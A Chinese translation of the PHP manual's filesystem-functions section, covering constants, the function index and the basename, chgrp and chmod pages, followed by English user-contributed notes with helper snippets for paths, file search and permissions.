这使得 PHP 可以和 Macintosh 系统交互操作，但是默认值是 Off，因为在检测第一行的 EOL 习惯时会有很小的性能损失，而且在 Unix 系统下使用回车符号作为项目分隔符的人们会遭遇向下不兼容的行为。

sys_temp_dir string

User Contributed Notes

Pistachio 31-Jan-2012 09:53
I'm surprised this isn't mentioned in docs here, but to set these values at runtime use "ini_set()". For example:

<?php
ini_set("auto_detect_line_endings", true);

// Now I can invoke fgets() on files that contain silly \r line endings.
?>


资源类型

文件系统使用 streams 作为资源类型。 Streams 的文档有专门的章节：Streams。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SEEK_SET (int)
SEEK_CUR (int)
SEEK_END (int)
LOCK_SH (int)
LOCK_EX (int)
LOCK_UN (int)
LOCK_NB (int)
GLOB_BRACE (int)
GLOB_ONLYDIR (int)
GLOB_MARK (int)
GLOB_NOSORT (int)
GLOB_NOCHECK (int)
GLOB_NOESCAPE (int)
GLOB_AVAILABLE_FLAGS (int)
PATHINFO_DIRNAME (int)
PATHINFO_BASENAME (int)
PATHINFO_EXTENSION (int)
PATHINFO_FILENAME (int)
FILE_USE_INCLUDE_PATH (int)
在 include_path 里搜索 filename。
FILE_NO_DEFAULT_CONTEXT (int)
FILE_APPEND (int)
为存在的文件添加内容。
FILE_IGNORE_NEW_LINES (int)
过滤换行（EOL）字符。
FILE_SKIP_EMPTY_LINES (int)
过滤空行。
FILE_BINARY (int)

二进制模式。

Note:

此常量无效，仅仅用于向后兼容（forward compatibility）。

FILE_TEXT (int)

文本模式。

Note:

此常量无效，仅仅用于向后兼容（forward compatibility）。

INI_SCANNER_NORMAL (int)
普通的 INI 扫描模式。
INI_SCANNER_RAW (int)
原始（Raw） INI 扫描模式。
INI_SCANNER_TYPED (int)
Typed INI 扫描模式。
FNM_NOESCAPE (int)
禁用反斜线转义
FNM_PATHNAME (int)
字符串里的斜杠只匹配指定模式里的斜杠。
FNM_PERIOD (int)
字符串里的起始点号必须完全匹配指定模式里的点号。
FNM_CASEFOLD (int)
大小写不敏感的匹配，GNU 扩展的一部分。

User Contributed Notes

msegit at post dot pl 14-May-2019 12:14
GLOB_ERR ?
( https://www.php.net/manual/en/function.glob.php )


文件系统函数

参见

相关函数参见目录和程序执行章节。

远程文件能使用的 URL 包装器（ wrapper）列表和详细解释，可参见 支持的协议和封装协议。

Table of Contents

  • basename — 返回路径中的文件名部分
  • chgrp — 改变文件所属的组
  • chmod — 改变文件模式
  • chown — 改变文件的所有者
  • clearstatcache — 清除文件状态缓存
  • copy — 拷贝文件
  • delete — 参见 unlink 或 unset
  • dirname — 返回路径中的目录部分
  • disk_free_space — 返回目录中的可用空间
  • disk_total_space — 返回一个目录的磁盘总大小
  • diskfreespace — disk_free_space 的别名
  • fclose — 关闭一个已打开的文件指针
  • fdatasync — 同步文件数据（不包含元数据）
  • feof — 测试文件指针是否到了文件结束的位置
  • fflush — 将缓冲内容输出到文件
  • fgetc — 从文件指针中读取字符
  • fgetcsv — 从文件指针中读入一行并解析 CSV 字段
  • fgets — 从文件指针中读取一行
  • fgetss — 从文件指针中读取一行并过滤掉 HTML 标记
  • file_exists — 检查文件或目录是否存在
  • file_get_contents — 将整个文件读入一个字符串
  • file_put_contents — 将数据写入文件
  • file — 把整个文件读入一个数组中
  • fileatime — 取得文件的上次访问时间
  • filectime — 取得文件的 inode 修改时间
  • filegroup — 取得文件的组
  • fileinode — 取得文件的 inode
  • filemtime — 取得文件修改时间
  • fileowner — 取得文件的所有者
  • fileperms — 获取文件权限
  • filesize — 取得文件大小
  • filetype — 取得文件类型
  • flock — 可移植的协同文件锁定
  • fnmatch — 用模式匹配文件名
  • fopen — 打开文件或者 URL
  • fpassthru — 输出文件指针处的所有剩余数据
  • fputcsv — 将行格式化为 CSV 并写入文件指针
  • fputs — fwrite 的别名
  • fread — 读取文件（可安全用于二进制文件）
  • fscanf — 从文件中格式化输入
  • fseek — 在文件指针中定位
  • fstat — 通过已打开的文件指针取得文件信息
  • fsync — 同步文件变更（包括元数据）
  • ftell — 返回文件指针读/写的位置
  • ftruncate — 将文件截断到指定的长度
  • fwrite — 写入文件（可安全用于二进制文件）
  • glob — 寻找与模式匹配的文件路径
  • is_dir — 判断给定文件名是否是一个目录
  • is_executable — 判断给定文件名是否可执行
  • is_file — 判断给定文件名是否为一个正常的文件
  • is_link — 判断给定文件名是否为一个符号连接
  • is_readable — 判断给定文件名是否可读
  • is_uploaded_file — 判断文件是否是通过 HTTP POST 上传的
  • is_writable — 判断给定的文件名是否可写
  • is_writeable — is_writable 的别名
  • lchgrp — 修改符号链接的所有组
  • lchown — 修改符号链接的所有者
  • link — 建立一个硬连接
  • linkinfo — 获取一个连接的信息
  • lstat — 给出一个文件或符号连接的信息
  • mkdir — 新建目录
  • move_uploaded_file — 将上传的文件移动到新位置
  • parse_ini_file — 解析一个配置文件
  • parse_ini_string — 解析配置字符串
  • pathinfo — 返回文件路径的信息
  • pclose — 关闭进程文件指针
  • popen — 打开进程文件指针
  • readfile — 输出文件
  • readlink — 返回符号连接指向的目标
  • realpath_cache_get — 获取真实目录缓存的详情
  • realpath_cache_size — 获取真实路径缓冲区的大小
  • realpath — 返回规范化的绝对路径名
  • rename — 重命名一个文件或目录
  • rewind — 倒回文件指针的位置
  • rmdir — 删除目录
  • set_file_buffer — stream_set_write_buffer 的别名
  • stat — 给出文件的信息
  • symlink — 建立符号连接
  • tempnam — 建立一个具有唯一文件名的文件
  • tmpfile — 建立一个临时文件
  • touch — 设定文件的访问和修改时间
  • umask — 改变当前的 umask
  • unlink — 删除文件

User Contributed Notes

ob at babcom dot biz 14-Mar-2013 03:56
a function based on "tunnelareaten at gmail dot com"s idea to search for files in a given directory by a searchstring or by fileextension.

I added support to search recursively through all sub-directories an to determine weather the filepath should be returned or not.

<?php
// recursive function to get contents of given folder by searchterm or fileextension
// (does not show folders)
// standards: Foldername:                    string
//            Searchterm:                    string
//            Searchtype:                    ext/search (file-extension or searchterm within filename)
//            SaveCompletePath:        true/1
// usage:     array FileSearch_r($Folder,$Search[,$SearchType,$SavePath])

function FileSearch_r($Dir,$Search,$SearchType="search",$SavePath=1) {
  $Array=array();
  $D=dir($Dir);
  while (false!==($Entry=$D->read()))
    if ($Entry!='.' && $Entry!='..') {
      $Entry=$Dir.$Entry;
      if (is_dir($Entry)) $Array=array_merge($Array,FileSearch_r($Entry.'/',$Search,$SearchType,$SavePath));
      else
          if ($SearchType=="search"
                      ?substr_count($Entry,$Search)>0
                      :($SearchType=="ext"
                          ?substr($Entry,-strlen($Search))===$Search
                          :true))
              $Array[]=$Entry;
    }
  $D->close();
  sort($Array,SORT_STRING);
  if(!(bool)$SavePath) $Array=str_replace($Dir,"",array_values($Array));
  return $Array;
}
?>
drapeko.com 23-May-2009 06:19
You have an array of directories (straightforward list of directories):

<?php
     $array = array(
         '/home/drapeko/var',
         '/home/drapeko/var/y',
         '/home/drapeko',
         '/home',
         '/var/libexec'
     );
     );
?>

And you would like to transform this array to hierarchy of directories:

<?php
 $array = array (
     'home' => array (
         'drapeko' => array (
             'var' => array (
                 'y' => array()
             )
         )
     ),
     'var' => array(
         'libexec' => array()
     )
 );
?>

How can you do it?

First of all the below function will help us.

<?php
/**
 * This function converts real filesystem path to the string array representation.
 *
 * for example,
 * '/home/drapeko/var/y            will be converted to    $result_array['home']['drapeko']['var']['y']
 * '/home/drapeko/var/y/file.txt   will be converted to       $result_array['home']['drapeko']['var']['y']
 *
 * @param $path         realpath of the directory
 * @return string        string array representation of the path
 */
function pathToArrayStr($path) {
     // TODO constants/configs?
     $res_path = str_replace(array(':/', ':\\', '/', '\\', DIRECTORY_SEPARATOR), '/', $path);
     // if the first or last symbol is '/' delete it (e.g. for linux)
     $res_path = preg_replace(array("/^\//", "/\/$/"), '', $res_path);
     // create string
     $res_path = '[\''.str_replace('/', '\'][\'', $res_path).'\']';

     return $res_path;
}
?>

It simply converts the real path of the file to array string representation.

How can you use this function? I know it looks like a little confusing. But it's quite simple. Consider the example below:

<?php
 $result = array();
 $check = array();
 foreach($array as $val) {
     $str = pathToArrayStr($val, 'result');
     foreach($check as $ck) {
         if (strpos($ck, $str) !== false) {
             continue 2;
         }
     }
     $check[] = $str;
     eval('$result'.$str.' = array();');
 }
print_r($result);
?>

Heh, how do you find it? This approach has helped me very much. I hope you will find it useful. :)
Christian 17-Mar-2007 09:24
I just learned that, to specify file names in a portable manner, you DON'T need 'DIRECTORY_SEPARATOR' - just use '/'. This really surprised and shocked me, as until now I typed about a zillion times 'DIRECTORY_SEPARATOR' to stay platform independent - unnecessary. Don't make the same mistake.
tunnelareaten at gmail dot com 25-Feb-2005 08:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
    @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
    @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
Gregor Mosheh 22-Aug-2003 05:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
    if (!$location or !is_dir($location) or !$fileregex) {
       return false;
    }

    $matchedfiles = array();

    $all = opendir($location);
    while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
          $subdir_matches = findfile($location.'/'.$file,$fileregex);
          $matchedfiles = array_merge($matchedfiles,$subdir_matches);
          unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
          if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
          }
       }
    }
    closedir($all);
    unset($all);
    return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
mitra at mitra dot biz 15-May-2003 10:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
regis at webstuff dot com dot br 03-Apr-2003 07:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
    $dec_tmp = $byte;

    $byte = bcdiv($byte,256,0);
    $resto = $dec_tmp - (256 * $byte);
    $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
    [0] => 1
    [1] => 40
    [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com 08-Mar-2003 07:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp     = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
          $tmpStr = str_replace(chr(10), '', $tmpStr);
          $tmpStr = str_replace(chr(13), '', $tmpStr);

          $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
          {
                if( extension_loaded('ctype') )
               {
                    if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
                return(0);
            else
                return(1);
     }
     else
           return(0);
}


返回路径中的文件名部分

  • ? 文件系统函数
  • chgrp ?
  • PHP Manual
  • 文件系统函数
  • 返回路径中的文件名部分

basename

(PHP 4, PHP 5, PHP 7, PHP 8)

basename — 返回路径中的文件名部分

说明

basename(string $path, string $suffix = ""): string

给出一个包含有指向一个文件的全路径的字符串，本函数返回基本的文件名。

Note:

basename() 纯粹基于输入字符串操作， 它不会受实际文件系统和类似 ".." 的路径格式影响。

Caution

basename() 是本地化的，所以如果要正确处理多字节字符的路径，需要用
setlocale() 正确设置匹配的 locale。如果 path
包含当前区域设置无效的字符，basename() 的行为未定义。

参数

path

一个路径。

在 Windows 中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）。

suffix

如果文件名是以 suffix 结束的，那这一部分也会被去掉。

返回值

返回指定 path 的基本名称。

示例

Example #1 basename() 例子

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
echo "2) ".basename("/etc/sudoers.d").PHP_EOL;
echo "3) ".basename("/etc/passwd").PHP_EOL;
echo "4) ".basename("/etc/").PHP_EOL;
echo "5) ".basename(".").PHP_EOL;
echo "6) ".basename("/");
?>

以上示例会输出：

1) sudoers
2) sudoers.d
3) passwd
4) etc
5) .
6)

参见

  • dirname() - 返回路径中的目录部分
  • pathinfo() - 返回文件路径的信息

User Contributed Notes

clayrabbit2 at gmail dot com 12-Apr-2023 06:07
One line alternative for unicode filenames:
<?php

preg_replace('#.*?([^'.DIRECTORY_SEPARATOR.']*)'.DIRECTORY_SEPARATOR.'*$#', '$1', $path);
stocki dot r at gmail dot com 10-Apr-2019 11:02
Additional note to Anonymous's mb_basename() solution: get rid of trailing slashes/backslashes!

<?php
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)([\\\\/]+)?$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}

echo mb_basename("/etc//"); # "etc"
?>
wibgates dot kenneth at gmail dot com 11-Sep-2017 01:49
the best way to get the filename from url is here
<?php
      // url : http://php.net/manual/add-note.php

       defined('baseUrlFileName') or define('baseUrlFileName',
       explode('.',explode('/',$_SERVER['PHP_SELF'])[3])[0]);

     echo baseUrlFileName ; // result 1

?>

Result 1 :
    add-note
Anonymous 20-Jul-2017 05:04
It's a shame, that for a 20 years of development we don't have mb_basename() yet!

// works both in windows and unix
function mb_basename($path) {
    if (preg_match('@^.*[\\\\/]([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    } else if (preg_match('@^([^\\\\/]+)$@s', $path, $matches)) {
        return $matches[1];
    }
    return '';
}
frank1982 31-Mar-2017 10:22
Try Long Path Tool as it can remove any problems that you might have.
Anonymous 10-Mar-2017 08:05
There is a problem reading non-Latin characters in the file name if the locale is not configured correctly.
For example: instead of the name ?ФЫВА-1234.doc?, is displayed ?-1234.doc?.
Solution: rawurldecode(basename($full_name)).
gandung at ppp dot cylab dot cmu dot edu 20-Feb-2017 11:49
My opinion is, remove the $suffix first, and then apply splitting the core basename ( PHP 4 ):

/*
 * From stephane.fidanza@gmail.com:
 *
 * PHP 4: $suffix is removed first, and then the core basename is applied.
 * PHP 5: $suffix is removed after applying the core basename.
 *
 * (c) Paulus Gandung Prakosa (rvn.plvhx@gmail.com)
 */
if ( !function_exists('php4_backward_compat_basename') )
{
        function php4_backward_compat_basename($path, $suffix = '')
        {
                if ( $suffix !== '' ) {
                        $fixed_path = substr($path, 0, strlen($path) - strlen($suffix));
                        $fixed_basename = explode('/', $fixed_path);
                }

                return ( isset($fixed_basename) ? array_pop($fixed_basename) : array_pop(explode('/', $path)) );
        }
}
Anonymous 15-Dec-2014 02:30
As already pointed out above, if a query string contains a '/' character, basename will not handle it well. But it can come really handy when you want to pass a url with query string to a funtion that copies/downloads the file using basename as local filename, by attaching  an extra query to the end of the url:

<?php
  $url = 'http://example.com/url?with=query_string';
  basename($url); // url?with=query_string
  $url = $url . '&filename_for_basename=/desired_filename.ext';
  basename($url); // desired_filename.ext
?>

Note: you can use the filename from the HTTP header (if present) to get the file with it's original filename.
poop at poop dot com 22-Nov-2014 12:42
@ lcvalentine at gmail dot com
>This is much simpler:
>$ext = strrchr( $filename, '.' );

Even though yours is shorter, you can also do:

$ext = end(explode(".", basename($file
lcvalentine at gmail dot com 21-Nov-2014 04:32
@softontherocks at gmail dot com
> If you want to get the extension of a file, I posted a function in
> http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html
>
> The function is:
>
> function getExtension($file) {
>   $pos = strrpos($file, '.');
>   return substr($file, $pos+1);
> }

This is much simpler:
$ext = strrchr( $filename, '.' );
softontherocks at gmail dot com 31-Oct-2014 06:38
If you want to get the extension of a file, I posted a function in http://softontherocks.blogspot.com/2013/07/obtener-la-extension-de-un-fichero-con.html

The function is:

 function getExtension($file) {
  $pos = strrpos($file, '.');
  return substr($file, $pos+1);
 }
Muhammad El-Saeed muhammad at elsaeed dot info 19-Apr-2013 04:58
to get the base url of my website

function url(){
    $base_url = isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off' ? 'https' : 'http';
    $base_url .= '://'. $_SERVER['HTTP_HOST'];
    $base_url .= str_replace(basename($_SERVER['SCRIPT_NAME']), '', $_SERVER['SCRIPT_NAME']);
    return $base_url;
}
swedish boy 12-Oct-2009 03:43
Here is a quick way of fetching only the filename (without extension) regardless of what suffix the file has.

<?php

// your file
$file = 'image.jpg';

$info = pathinfo($file);
$file_name =  basename($file,'.'.$info['extension']);

echo $file_name; // outputs 'image'

?>
hello at haroonahmad dot co dot uk 18-Sep-2008 08:13
I got a blank output from this code

$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

suggested earlier by a friend here.

So anybody who wants to get the current directory path can use another technique that I use as

//suppose you're using this in pageitself.php page

$current_dir=dirname(realpath("pageitself.php"));

I hope it helps.
zandor_zz at yahoo dot it 08-Sep-2008 01:34
It might be useful to have a version of the function basename working with arrays too.

<?php
function a_basename( $file, $exts )
{
    $onlyfilename = end( explode( "/", $file ) );

    if( is_string( $exts ) )
    {
        if ( strpos( $onlyfilename, $exts, 0 ) !== false )
        $onlyfilename = str_replace( $exts, "", $onlyfilename );
    }
    else if ( is_array( $exts ) )
    {
        // works with PHP version <= 5.x.x
        foreach( $exts as $KEY => $ext )
        {
            $onlyfilename = str_replace( $ext, "", $onlyfilename );
        }
    }

    return $onlyfilename ;
}
?>
(remove) dot nasretdinov at (remove) dot gmail dot com 27-Aug-2008 08:20
There is only one variant that works in my case for my Russian UTF-8 letters:

<?php
function mb_basename($file)
{
    return end(explode('/',$file));
}
><

It is intented for UNIX servers
pai dot ravi at yahoo dot com 15-Aug-2008 08:44
once you have extracted the basename from the full path and want to separate the extension from the file name, the following function will do it efficiently:

<?php
function splitFilename($filename)
{
    $pos = strrpos($filename, '.');
    if ($pos === false)
    { // dot is not found in the filename
        return array($filename, ''); // no extension
    }
    else
    {
        $basename = substr($filename, 0, $pos);
        $extension = substr($filename, $pos+1);
        return array($basename, $extension);
    }
}
?>
adrian at foeder dot de 20-Dec-2007 12:33
On windows systems, filenames are case-insensitive. If you have to make sure the right case is used when you port your application to an unix system, you may use a combination of the following:

<?php
//assume the real filename is mytest.JPG:

$name_i_have = "mytest.jpg";
$realfilename = basename(realpath($name_i_have));
?>

basename itself does not check the filesystem for the given file, it does, so it seems, only string-manipulation.
With realpath() you can "extend" this functionality.
stephane dot fidanza at gmail dot com 11-Apr-2007 04:33
Support of the $suffix parameter has changed between PHP4 and PHP5:
in PHP4, $suffix is removed first, and then the core basename is applied.
conversely, in PHP5, $suffix is removed AFTER applying core basename.

Example:
<?php
  $file = "path/to/file.xml#xpointer(/Texture)";
  echo basename($file, ".xml#xpointer(/Texture)");
?>

Result in PHP4: file
Result in PHP5: Texture)
thoughts at highermind dot org 30-Jan-2007 05:45
Basename without query string:

<?php
$filename    = array_shift(explode('?', basename($url_path)));
?>
lazy lester 17-Feb-2006 04:19
If your path has a query string appended, and if the query string contains a "/" character, then the suggestions for extracting the filename offered below don't work.

For instance if the path is like this:
http://www.ex.com/getdat.php?dep=n/a&title=boss

Then both the php basename() function, and also
the $_SERVER[QUERY_STRING] variables get confused.

In such a case, use:

<php
$path_with_query="http://www.ex.com/getdat.php?dep=n/a&title=boss";
$path=explode("?",$path_with_query);
$filename=basename($path[0]);
$query=$path[1];
?>
15-Nov-2005 04:57
icewinds exmaple wouldn't work, the query part would contain the second char of the filename, not the query part of the url.
<?
$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$query = $file[1];
$file = $file[0];
?>

That works better.
icewind 02-Nov-2005 12:44
Because of filename() gets "file.php?var=foo", i use explode in addition to basename like here:

$file = "path/file.php?var=foo";
$file = explode("?", basename($file));
$file = $file[0];
$query = $file[1];

Now $file only contains "file.php" and $query contains the query-string (in this case "var=foo").
www.turigeza.com 24-Oct-2005 12:47
simple but not said in the above examples

echo basename('somewhere.com/filename.php?id=2', '.php');
will output
filename.php?id=2

which is not the filename in case you expect!
crash at subsection dot org dot uk 22-Sep-2005 12:38
A simple way to return the current directory:
$cur_dir = basename(dirname($_SERVER[PHP_SELF]))

since basename always treats a path as a path to a file, e.g.

/var/www/site/foo/ indicates /var/www/site as the path to file
foo
amitabh at NOSPAM dot saysnetsoft dot com 14-Jul-2005 01:55
The previous example posted by "pvollma" didn't work out for me, so I modified it slightly:
<?php
function GetFileName($file_name)
{
        $newfile = basename($file_name);
        if (strpos($newfile,'\\') !== false)
        {
                $tmp = preg_split("[\\\]",$newfile);
                $newfile = $tmp[count($tmp) - 1];
                return($newfile);
        }
        else
        {
                return($file_name);
        }
}
?>
pvollma at pcvsoftware dot net 13-Jul-2005 11:43
There is a real problem when using this function on *nix servers, since it does not handle Windows paths (using the \ as a separator). Why would this be an issue on *nix servers? What if you need to handle file uploads from MS IE? In fact, the manual section "Handling file uploads" uses basename() in an example, but this will NOT extract the file name from a Windows path such as C:\My Documents\My Name\filename.ext. After much frustrated coding, here is how I handled it (might not be the best, but it works):

<?php
$newfile = basename($filen);
if (strpos($newfile,'\\') !== false) {
  $tmp = preg_split("[\\\]",$newfile);
  $newfile = $tmp[count($tmp) - 1];
}
?>

$newfile will now contain only the file name and extension, even if the POSTed file name included a full Windows path.
KOmaSHOOTER at gmx dot de 30-Jan-2005 06:18
if you want the name of the parent directory
<?php
$_parenDir_path = join(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1),"/").'/'; // returns the full path to the parent dir
$_parenDir =  basename ($_parenDir_path,"/"); // returns only the name of the parent dir
// or
$_parenDir2 = array_pop(array_slice(split( "/" ,dirname($_SERVER['PHP_SELF'])),0,-1)); // returns also only the name of the parent dir
echo('$_parenDir_path  = '.$_parenDir_path.'<br>');
echo('$_parenDir  = '.$_parenDir.'<br>');
echo('$_parenDir2  = '.$_parenDir2.'<br>');
?>
KOmaSHOOTER at gmx dot de 29-Jan-2005 04:24
If you want the current path where youre file is and not the full path then use this :)

<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// retuns the name of current used directory
?>

Example:

www dir: domain.com/temp/2005/january/t1.php

<?php
echo('dirname <br>'.dirname($_SERVER['PHP_SELF']).'<br><br>');
// returns: /temp/2005/january
?>

<?php
echo('file = '.basename ($PHP_SELF,".php"));
// returns: t1
?>

if you combine these two you get this
<?php
echo('dir = '.basename (dirname($_SERVER['PHP_SELF']),"/"));
// returns: january
?>

And for the full path use this
<?php
echo(' PHP_SELF <br>'.$_SERVER['PHP_SELF'].'<br><br>');
// returns: /temp/2005/january/t1.php
?>
KOmaSHOOTER at gmx dot de 28-Nov-2003 02:33
Exmaple for exploding ;) the filename to an array

<?php
echo(basename ($PHP_SELF)."<br>");  // returnes filename.php
$file = basename ($PHP_SELF);
$file = explode(".",$file);
print_r($file);    // returnes Array ( [0] => filename [1] => php )
echo("<br>");
$filename = basename(strval($file[0]),$file[1]);
echo($filename."<br>");  // returnes  filename
echo(basename ($PHP_SELF,".php")."<br>");  // returnes  filename
echo("<br>");
echo("<br>");
//show_source(basename ($PHP_SELF,".php").".php")
show_source($file[0].".".$file[1])
?>
daijoubu_NOSP at M_videotron dot ca 15-Oct-2003 10:22
An faster alternative to:

<?php
array_pop(explode('.', $fpath));
?>

would be:

<?php
substr($fpath, strrpos($fpath, '.')); // returns the dot
?>

If you don't want the dot, simply adds 1 to the position

<?php
substr($fpath, strrpos($fpath, '.') + 1); // returns the ext only
?>


改变文件所属的组

  • ? basename
  • chmod ?
  • PHP Manual
  • 文件系统函数
  • 改变文件所属的组

chgrp

(PHP 4, PHP 5, PHP 7, PHP 8)

chgrp — 改变文件所属的组

说明

chgrp(string $filename, string|int $group): bool

尝试将文件 filename 所属的组改成 group（通过组名或组 ID 指定）。

只有超级用户可以任意修改文件的组，其它用户可能只能将文件的组改成该用户自己所在的组。

参数

filename

文件的路径。

group

组的名称或数字。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 改变文件所属的组

<?php
$filename = 'shared_file.txt';
$format = "%s's Group ID @ %s: %d\n";
printf($format, $filename, date('r'), filegroup($filename));
chgrp($filename, 8);
clearstatcache(); // 不要缓存 filegroup() 结果
printf($format, $filename, date('r'), filegroup($filename));
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

Note: 在 Windows 上，此函数应用在常规文件时会默默失败。

参见

  • chown() - 改变文件的所有者
  • chmod() - 改变文件模式

User Contributed Notes

There are no user contributed notes for this page.


改变文件模式

  • ? chgrp
  • chown ?
  • PHP Manual
  • 文件系统函数
  • 改变文件模式

chmod

(PHP 4, PHP 5, PHP 7, PHP 8)

chmod — 改变文件模式

说明

chmod(string $filename, int $permissions): bool

尝试将 filename 所指定文件的模式改成 permissions 所给定的。

参数

filename

文件的路径。

permissions

注意 permissions 不会被自动当成八进制数值，因此为确保正确操作，需要给 permissions 前面加上 0。诸如"g+w"之类的字符串将无法正常工作。

<?php
chmod("/somedir/somefile", 755); // 十进制数，可能不对
chmod("/somedir/somefile", "u+rwx,go+rx"); // 字符串，不对
chmod("/somedir/somefile", 0755); // 八进制数，正确的 mode 值
?>

permissions 参数包含三个八进制数按顺序分别指定了所有者、所有者所在的组以及所有人的访问限制。每一部分都可以通过加入所需的权限来计算出所要的权限。数字 1 表示使文件可执行，数字 2 表示使文件可写，数字 4 表示使文件可读。加入这些数字来制定所需要的权限。有关 UNIX 系统的文件权限可以阅读手册"man 1 chmod"和"man 2 chmod"。

<?php
// 所有者可以读写，其他人什么也不能做
chmod("/somedir/somefile", 0600);

// 所有者可以读写，其他人可以读
chmod("/somedir/somefile", 0644);

// 所有者可以读写执行，其他人可以读和执行
chmod("/somedir/somefile", 0755);

// 所有者可以读写执行，所有者同组可以读和执行
chmod("/somedir/somefile", 0750);
?>

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

失败时会发出 E_WARNING。

注释

Note:

当前用户指的是执行 PHP 的用户。很可能和通常访问 shell 或者 FTP 的用户不是同一个。在大多数系统下文件模式只能被拥有该文件的用户改变。

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

参见

  • chown() - 改变文件的所有者
  • chgrp() - 改变文件所属的组
  • fileperms() - 获取文件权限
  • stat() - 给出文件的信息

User Contributed Notes

no at no dot es 18-Jan-2021 09:43
use a stored string for the mask is a pain
ex: $mask contains a string 0755
int($mask) not work (return 755)
the only way i found is use octdec($mask)
Tuckbros 15-May-2020 06:26
Just an update of the solution with octdec. You have to give octdec the string as a parameter.

$mode = '644';
chmod(file_or_dir_name, octdec($mode));

See also: http://www.php.net/manual/en/function.octdec.php
chris at ocproducts dot com 02-Mar-2020 07:50
Windows has a very different file permission model to Unix and integrates them only minimally.

On Windows, all this function can do is to change the "read only" flag, which is turned on if $mode & 0200 does not pass.
i.e. it only checks if u+w is missing from the bitmask, and if it is, it sets the read only flag.

The executable flag cannot be set as Windows determines it based on file extension.
The write flag cannot be set as Windows determines write access based on ACLs, which are not integrated here.
h dot kuppens at cs dot ru dot nl 29-Aug-2011 02:51
